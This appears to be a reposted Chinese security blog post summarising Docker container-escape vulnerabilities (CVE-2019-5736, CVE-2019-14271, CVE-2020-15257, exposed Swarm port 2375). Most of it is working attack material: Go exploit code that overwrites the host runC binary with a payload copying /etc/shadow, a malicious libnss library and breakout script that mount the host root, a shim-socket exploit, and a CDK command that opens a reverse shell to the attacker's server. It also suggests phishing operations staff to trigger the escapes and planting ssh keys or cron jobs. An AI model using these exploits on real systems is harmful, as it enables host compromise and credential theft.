Summary of common Docker container vulnerabilities

Follow the "Network Security Learning Circle" WeChat official account, reply with the password [Network Security] , and immediately receive the latest Internet security tutorials for the whole family .

Docker-RunC vulnerability causes container escape (CVE-2019-5736)

Conditions of use

  • Docker Version < 18.09.2

  • RunC Version <1.0-rc6

  • The attacker has the permission to upload the container file & the administrator uses exec to access the container || The attacker has the permission to start the container

Vulnerability principle

An attacker can trick runC into executing itself by replacing the target file in the container with its own file pointing to runC. For example, if the target file is /bin/bash, replace it with an executable script that specifies the interpreter path as #!/proc/self/exe. When /bin/bash is executed in the container, /proc/self/exe will be executed. Point to the runC file on the host. The attacker can then continue writing to /proc/self/exe in an attempt to overwrite the runC file on the host. But generally it won't succeed because the kernel does not allow overwriting it while executing runC. To solve this problem, an attacker can open the file descriptor of /proc/self/exe using the O_PATH flag, then reopen the file via /proc/self/fd/<nr> using the O_WRONLY flag, and try to retrieve the file from a A separate process writes to this file. The overwrite will be successful when runC exits. After that, runC can be used to attack other containers or hosts.

Vulnerability POC

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
  "fmt"
  "io/ioutil"
  "os"
  "strconv"
  "strings"
)

// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"

func main() {
  // First we overwrite /bin/sh with the /proc/self/exe interpreter path
  fd, err := os.Create("/bin/sh")
  if err != nil {
    fmt.Println(err)
    return
  }
  fmt.Fprintln(fd, "#!/proc/self/exe")
  err = fd.Close()
  if err != nil {
    fmt.Println(err)
    return
  }
  fmt.Println("[+] Overwritten /bin/sh successfully")

  // Loop through all processes to find one whose cmdline includes runcinit
  // This will be the process created by runc
  var found int
  for found == 0 {
    pids, err := ioutil.ReadDir("/proc")
    if err != nil {
      fmt.Println(err)
      return
    }
    for _, f := range pids {
      fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
      fstring := string(fbytes)
      if strings.Contains(fstring, "runc") {
        fmt.Println("[+] Found the PID:", f.Name())
        found, err = strconv.Atoi(f.Name())
        if err != nil {
          fmt.Println(err)
          return
        }
      }
    }
  }

  // We will use the pid to get a file handle for runc on the host.
  var handleFd = -1
  for handleFd == -1 {
    // Note, you do not need to use the O_PATH flag for the exploit to work.
    handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
    if int(handle.Fd()) > 0 {
      handleFd = int(handle.Fd())
    }
  }
  fmt.Println("[+] Successfully got the file handle")

  // Now that we have the file handle, lets write to the runc binary and overwrite it
  // It will maintain it's executable flag
  for {
    writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
    if int(writeHandle.Fd()) > 0 {
      fmt.Println("[+] Successfully got write handle", writeHandle)
      writeHandle.Write([]byte(payload))
      return
    }
  }
}

 

exploit

#攻击者在容器内执行
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go #编译POC
chmod 777 main
./main #执行Payload

In the future, you can combine phishing emails and other techniques to wait for the operation and maintenance personnel to access the container's /bin/bash through exec. Use the following command:

sudo docker exec -it  cafa20cfb0f9 /bin/sh

ref:

https://github.com/Frichetten/CVE-2019-5736-PoC

https://www.anquanke.com/post/id/170762

Docker-cp vulnerability causes container escape (CVE-CVE-2019-14271)

Conditions of use

  • Docker Version == 19.03 && <19.03.1

Vulnerability principle

Docker is written in Golang, and to be more specific, the vulnerable version of Docker is compiled with Go v1.11. In this release, some packages containing embedded C code (cgo) will dynamically load shared libraries at runtime. These packages include net and os/user. Docker-tar uses these two packages and will dynamically load some libnss_*.so libraries at runtime. Normally, libraries are loaded from the host's file system. However, since docker-tar chroots into the container, these libraries are loaded from the container's file system. This means that docker-tar loads and executes container-controlled code.

Vulnerability POC

Malicious so: libnss_files.so by C

#include ...

#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"

bool is_priviliged();

__attribute__ ((constructor)) void run_at_link(void)
{
     char * argv_break[2];
     if (!is_priviliged())
           return;

     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
     fprintf(log_fp, "switched back to the original libnss_file.so");

     if (!fork())
     {

           // Child runs breakout
           argv_break[0] = strdup("/breakout");
           argv_break[1] = NULL;
           execve("/breakout", argv_break, NULL);
     }
     else
           wait(NULL); // Wait for child

     return;
}
bool is_priviliged()
{
     FILE * proc_file = fopen("/proc/self/exe", "r");
     if (proc_file != NULL)
     {
           fclose(proc_file);
           return false; // can open so /proc exists, not privileged
     }
     return true; // we're running in the context of docker-tar
}

breakout script

#!/bin/bash

umount /host_fs && rm -rf /host_fs
mkdir /host_fs


mount -t proc none /proc     # mount the host's procfs over /proc
cd /proc/1/root              # chdir to host's root
mount --bind . /host_fs      # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil

exploit

It needs to be improved and has not been reproduced yet. The general idea is as follows

1. Compile libnss_files.c to libnss_files.so

2. Modify the breakout script, such as writing ssh key, etc.

3. Wait or use phishing emails or other means to make the operation and maintenance personnel execute docker cp

ref:

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

Docker-Containerd vulnerability causes container escape (CVE-2020-15257)

Conditions of use

  • containerd < 1.4.3

  • containerd < 1.3.9

  • Use hostnetwork network mode to start the container&& Use root user (UID:0) to start the container

Vulnerability principle

In the hostnetwork network mode, the container and the host share the network namespace, so the host-specific socket file (shim.sock) can be accessed within the container. By starting a new container and hanging the container in the host directory to the container's /host directory, you can achieve complete read and write access to the host.

Vulnerability POC

package main

import (
    "context"
    "errors"
    "io/ioutil"
    "log"
    "net"
    "regexp"
    "strings"

    "github.com/containerd/ttrpc"
    "github.com/gogo/protobuf/types"
)

func exp(sock string) bool {
    sock = strings.Replace(sock, "@", "", -1)
    conn, err := net.Dial("unix", "\x00"+sock)
    if err != nil {
        log.Println(err)
        return false
    }

    client := ttrpc.NewClient(conn)
    shimClient := NewShimClient(client)
    ctx := context.Background()
    info, err := shimClient.ShimInfo(ctx, &types.Empty{})
    if err != nil {
        log.Println("rpc error:", err)
        return false
    }

    log.Println("shim pid:", info.ShimPid)
    return true
}

func getShimSockets() ([][]byte, error) {
    re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
    if err != nil {
        return nil, err
    }
    data, err := ioutil.ReadFile("/proc/net/unix")
    matches := re.FindAll(data, -1)
    if matches == nil {
        return nil, errors.New("Cannot find vulnerable socket")
    }
    return matches, nil
}

func main() {
    matchset := make(map[string]bool)
    socks, err := getShimSockets()
    if err != nil {
        log.Fatalln(err)
    }
    for _, b := range socks {
        sockname := string(b)
        if _, ok := matchset[sockname]; ok {
            continue
        }
        log.Println("try socket:", sockname)
        matchset[sockname] = true
        if exp(sockname) {
            break
        }
    }

    return
}

exploit

1. Download the container penetration toolkit

https://github.com/cdk-team/CDK/releases/tag/v1.0.1

2. Listen on the server NC port

3.

chmod +x cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn <自己服务器IP> <NC端口>

ref:

https://www.cdxy.me/?p=837

https://zhuanlan.zhihu.com/p/332334413

Unauthorized access to Docker-Swarm leads to command execution

Conditions of use

  • Use Docker Swarm and do not impose any restrictions on port 2375 access.

Vulnerability principle

When using Docker Swarm, a TCP port 2375 will be opened on the managed Docker node and bound to 0.0.0.0. HTTP access will return 404 page not found. In fact, this is the Docker Remote API, which can execute Docker commands, such as access http://host:2375/containers/json will return the list of containers currently running on the server, which has the same effect as executing Docker ps on the Docker CLI. Other operations such as creating/deleting containers, pulling images, etc. can also be done through the API. The call is completed.

Vulnerability POC

docker -H tcp://x.x.x.x:2375 ps

exploit

It can be used by mounting the host directory and then using crontab or writing an ssh key.

 

Guess you like

Origin blog.csdn.net/weixin_41692221/article/details/131474904